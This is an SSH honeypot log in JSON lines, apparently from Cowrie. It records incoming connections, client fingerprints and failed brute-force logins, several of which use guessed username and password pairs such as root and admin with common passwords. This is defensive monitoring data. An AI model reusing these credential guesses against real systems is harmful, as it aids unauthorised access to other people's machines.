{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:06.048860Z","src_ip":"8.210.75.243","session":"d03467c19f6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":43712,"dst_ip":"10.17.0.5","dst_port":22,"session":"28c36c0e7477","protocol":"ssh","message":"New connection: 91.92.40.4:43712 (10.17.0.5:22) [session: 28c36c0e7477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:10.081528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:10.087651Z","src_ip":"91.92.40.4","session":"28c36c0e7477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:10.168511Z","src_ip":"91.92.40.4","session":"28c36c0e7477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1q2w3e","message":"login attempt [hadoop/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:10.412536Z","src_ip":"91.92.40.4","session":"28c36c0e7477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:11.496344Z","src_ip":"91.92.40.4","session":"28c36c0e7477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.29.214.161","src_port":52292,"dst_ip":"10.17.0.5","dst_port":22,"session":"f22d6bbc4534","protocol":"ssh","message":"New connection: 14.29.214.161:52292 (10.17.0.5:22) [session: f22d6bbc4534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:18.876537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:18.880821Z","src_ip":"14.29.214.161","session":"f22d6bbc4534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:19.111702Z","src_ip":"14.29.214.161","session":"f22d6bbc4534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qazxswedc123","message":"login attempt [root/Qazxswedc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:20.069135Z","src_ip":"14.29.214.161","session":"f22d6bbc4534","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":46248,"dst_ip":"10.17.0.5","dst_port":22,"session":"206006fa17af","protocol":"ssh","message":"New connection: 165.227.170.113:46248 (10.17.0.5:22) [session: 206006fa17af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:20.787546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:20.794979Z","src_ip":"165.227.170.113","session":"206006fa17af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:20.881228Z","src_ip":"165.227.170.113","session":"206006fa17af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789root","message":"login attempt [root/123456789root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:21.254133Z","src_ip":"165.227.170.113","session":"206006fa17af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:21.302030Z","src_ip":"14.29.214.161","session":"f22d6bbc4534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:22.342367Z","src_ip":"165.227.170.113","session":"206006fa17af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36276,"dst_ip":"10.17.0.5","dst_port":22,"session":"f42d0ca7d236","protocol":"ssh","message":"New connection: 8.210.75.243:36276 (10.17.0.5:22) [session: f42d0ca7d236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:24.450004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:24.454596Z","src_ip":"8.210.75.243","session":"f42d0ca7d236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52384,"dst_ip":"10.17.0.5","dst_port":22,"session":"49dbfbec5184","protocol":"ssh","message":"New connection: 8.210.75.243:52384 (10.17.0.5:22) [session: 49dbfbec5184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:29.972427Z"}
{"eventid":"cowrie.session.closed","duration":95.36675143241882,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:33.340523Z","src_ip":"170.64.224.25","session":"a013530dc020","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":47784,"dst_ip":"159.203.135.109","dst_port":22,"session":"af383bc9e3ff","protocol":"ssh","message":"New connection: 159.65.58.200:47784 (159.203.135.109:22) [session: af383bc9e3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:39.791700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:40.018125Z","src_ip":"159.65.58.200","session":"af383bc9e3ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:40.027900Z","src_ip":"159.65.58.200","session":"af383bc9e3ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smirnovy","password":"123456","message":"login attempt [smirnovy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:41.200628Z","src_ip":"159.65.58.200","session":"af383bc9e3ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:42.433363Z","src_ip":"159.65.58.200","session":"af383bc9e3ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":44652,"dst_ip":"159.203.135.109","dst_port":22,"session":"38b30ea8ddbc","protocol":"ssh","message":"New connection: 162.241.33.238:44652 (159.203.135.109:22) [session: 38b30ea8ddbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:48.786031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:48.790245Z","src_ip":"162.241.33.238","session":"38b30ea8ddbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:48.817616Z","src_ip":"162.241.33.238","session":"38b30ea8ddbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zkevm","password":"zkevm123","message":"login attempt [zkevm/zkevm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:48.900392Z","src_ip":"162.241.33.238","session":"38b30ea8ddbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:49.930049Z","src_ip":"162.241.33.238","session":"38b30ea8ddbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:52.054600Z","src_ip":"8.210.75.243","session":"5ca76b0dfee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48234,"dst_ip":"10.17.0.5","dst_port":22,"session":"2752aec4d30c","protocol":"ssh","message":"New connection: 8.210.75.243:48234 (10.17.0.5:22) [session: 2752aec4d30c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:21:52.277038Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":30666,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f38fe940f2e","protocol":"ssh","message":"New connection: 194.59.206.2:30666 (159.203.135.109:22) [session: 4f38fe940f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:00.539857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:00.543619Z","src_ip":"194.59.206.2","session":"4f38fe940f2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:00.630246Z","src_ip":"194.59.206.2","session":"4f38fe940f2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:00.722296Z","src_ip":"194.59.206.2","session":"4f38fe940f2e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:07.603261Z","src_ip":"8.210.75.243","session":"2752aec4d30c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:07.606100Z","src_ip":"8.210.75.243","session":"2752aec4d30c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.222.20.20","src_port":57368,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0eb01a4f651","protocol":"ssh","message":"New connection: 201.222.20.20:57368 (10.17.0.5:22) [session: c0eb01a4f651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:17.119693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:17.122397Z","src_ip":"201.222.20.20","session":"c0eb01a4f651","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:17.245355Z","src_ip":"201.222.20.20","session":"c0eb01a4f651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@$$w0rd@123","message":"login attempt [admin/P@$$w0rd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:17.765958Z","src_ip":"201.222.20.20","session":"c0eb01a4f651","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.203.251.187","src_port":40164,"dst_ip":"10.17.0.5","dst_port":22,"session":"c42c15913d99","protocol":"ssh","message":"New connection: 119.203.251.187:40164 (10.17.0.5:22) [session: c42c15913d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:18.706587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:18.710282Z","src_ip":"119.203.251.187","session":"c42c15913d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:22:18.892596Z","src_ip":"201.222.20.20","session":"c0eb01a4f651","protocol":"ssh"}
